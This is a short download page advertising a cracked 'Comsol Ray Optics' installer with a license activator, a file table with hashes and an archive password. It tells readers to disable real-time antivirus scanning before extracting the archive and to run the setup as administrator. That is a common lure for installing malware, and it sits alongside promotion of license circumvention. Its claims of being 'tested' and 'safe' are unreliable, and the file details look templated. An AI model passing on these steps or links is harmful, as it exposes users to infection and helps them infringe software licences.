Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Comsol_Ray_Optics_v12.17_x64_setup.zip |
| Version | v12.17.5898 build 54126 |
| File Size | 3.06 GB (3129 MB) |
| MD5 Hash | 333a4aa00730ba9998849fbd6c302fad |
| SHA-256 | 3aef96b340b0efc3a7a378812405b2935ef4f373cb3bfd38aef305c6e506f10f |
| Release Date | 2025-01-19 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | soft2026 |
| License Type | Pro / Enterprise |
With our updated distribution package for Comsol Ray Optics patch fix direct link, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.